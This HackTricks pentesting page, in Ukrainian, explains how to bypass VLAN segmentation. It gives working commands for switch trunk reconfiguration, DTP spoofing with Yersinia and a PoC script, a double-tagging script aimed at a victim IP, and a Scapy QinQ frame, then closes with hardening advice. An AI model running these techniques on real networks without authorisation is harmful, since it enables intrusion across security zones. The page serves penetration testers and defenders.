Lateral VLAN Segmentation Bypass

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Якщо є прямий доступ до комутатора, сегментацію VLAN можна обійти. Це передбачає переналаштування підключеного порту в режим trunk, створення віртуальних інтерфейсів для цільових VLAN та налаштування IP-адрес, або динамічно (DHCP), або статично, залежно від сценарію (для отримання додаткової інформації перегляньте https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).

Спочатку необхідно ідентифікувати конкретний підключений порт. Це зазвичай можна зробити за допомогою повідомлень CDP або шляхом пошуку порту через маску include.

Якщо CDP не працює, ідентифікацію порту можна спробувати здійснити, шукаючи MAC-адресу:

SW1(config)# show mac address-table | include 0050.0000.0500

Перед переходом в режим trunk слід скласти список існуючих VLAN та визначити їх ідентифікатори. Ці ідентифікатори потім призначаються інтерфейсу, що дозволяє отримати доступ до різних VLAN через trunk. Порт, що використовується, наприклад, асоційований з VLAN 10.

SW1# show vlan brief

Перехід в режим trunk передбачає вхід в режим конфігурації інтерфейсу:

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

Переключення в режим trunk тимчасово порушить з'єднання, але його можна відновити пізніше.

Потім створюються віртуальні інтерфейси, їм призначаються VLAN ID та активуються:

bash
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up

В подальшому запит адреси здійснюється через DHCP. Альтернативно, у випадках, коли DHCP не є життєздатним, адреси можна налаштувати вручну:

bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60

Приклад ручного налаштування статичної IP-адреси на інтерфейсі (VLAN 10):

bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0

З'єднання тестується шляхом ініціювання ICMP запитів до стандартних шлюзів для VLAN 10, 20, 50 та 60.

Врешті-решт, цей процес дозволяє обійти сегментацію VLAN, що полегшує необмежений доступ до будь-якої VLAN мережі та створює умови для подальших дій.


Інші техніки VLAN-Hopping (без привілейованого CLI комутатора)

Попередній метод передбачає аутентифікований доступ до консолі або Telnet/SSH до комутатора. У реальних ситуаціях зловмисник зазвичай підключений до звичайного порту доступу. Наступні трюки на рівні 2 часто дозволяють вам переміщатися вбік, не входячи в ОС комутатора:

1. Switch-Spoofing з Dynamic Trunking Protocol (DTP)

Комутатори Cisco, які мають увімкнений DTP, з радістю погоджуються на створення trunk, якщо партнер стверджує, що є комутатором. Створення одного DTP “desirable” або “trunk” кадру перетворює порт доступу на trunk 802.1Q, який несе всі дозволені VLAN.

Yersinia та кілька PoC автоматизують процес:

bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G          # Launch GUI → Launch attack → DTP → enabling trunking

# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable

Як тільки порт переключається на trunk, ви можете створити підінтерфейси 802.1Q і здійснити піворот, як показано в попередньому розділі. Сучасні ядра Linux більше не вимагають vconfig; натомість використовуйте ip link:

bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up

2. Подвійне тегування (Зловживання Native-VLAN)

Якщо зловмисник знаходиться на native (нетегованому) VLAN, спеціально підготовлений кадр з двома заголовками 802.1Q може "перепригнути" на другий VLAN, навіть коли порт заблокований в режимі доступу. Інструменти, такі як VLANPWN DoubleTagging.py (оновлення 2022-2024), автоматизують ін'єкцію:

bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54

Проходження пакета:

  1. Зовнішній тег (1) видаляється першим комутатором, оскільки він відповідає рідному VLAN.
  2. Внутрішній тег (20) тепер відкритий; кадр пересилається на trunk до VLAN 20.

Ця техніка все ще працює в 2025 році на мережах, які залишають рідний VLAN за замовчуванням і приймають не теговані кадри.

3. QinQ (802.1ad) Стекування

Багато корпоративних ядер підтримують Q-in-Q інкапсуляцію постачальника послуг. Де це дозволено, зловмисник може тунелювати довільний трафік з тегом 802.1Q всередині постачальника (S-тег), щоб перетнути зони безпеки. Захопіть для 802.1ad ethertype 0x88a8 і спробуйте видалити зовнішній тег за допомогою Scapy:

python
from scapy.all import *
outer = 100      # Service tag
inner = 30       # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")

Рекомендації щодо захисту

  1. Вимкніть DTP на всіх портах, що виходять до користувачів: switchport mode access + switchport nonegotiate.
  2. Змініть рідний VLAN на кожному транку на невикористовуваний, чорний дірковий VLAN і позначте його: vlan dot1q tag native.
  3. Виріжте непотрібні VLAN на транках: switchport trunk allowed vlan 10,20.
  4. Застосуйте безпеку портів, DHCP snooping та динамічну перевірку ARP, щоб обмежити діяльність зловмисного рівня 2.
  5. Віддавайте перевагу приватним VLAN або сегментації L3 замість того, щоб покладатися лише на розділення 802.1Q.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks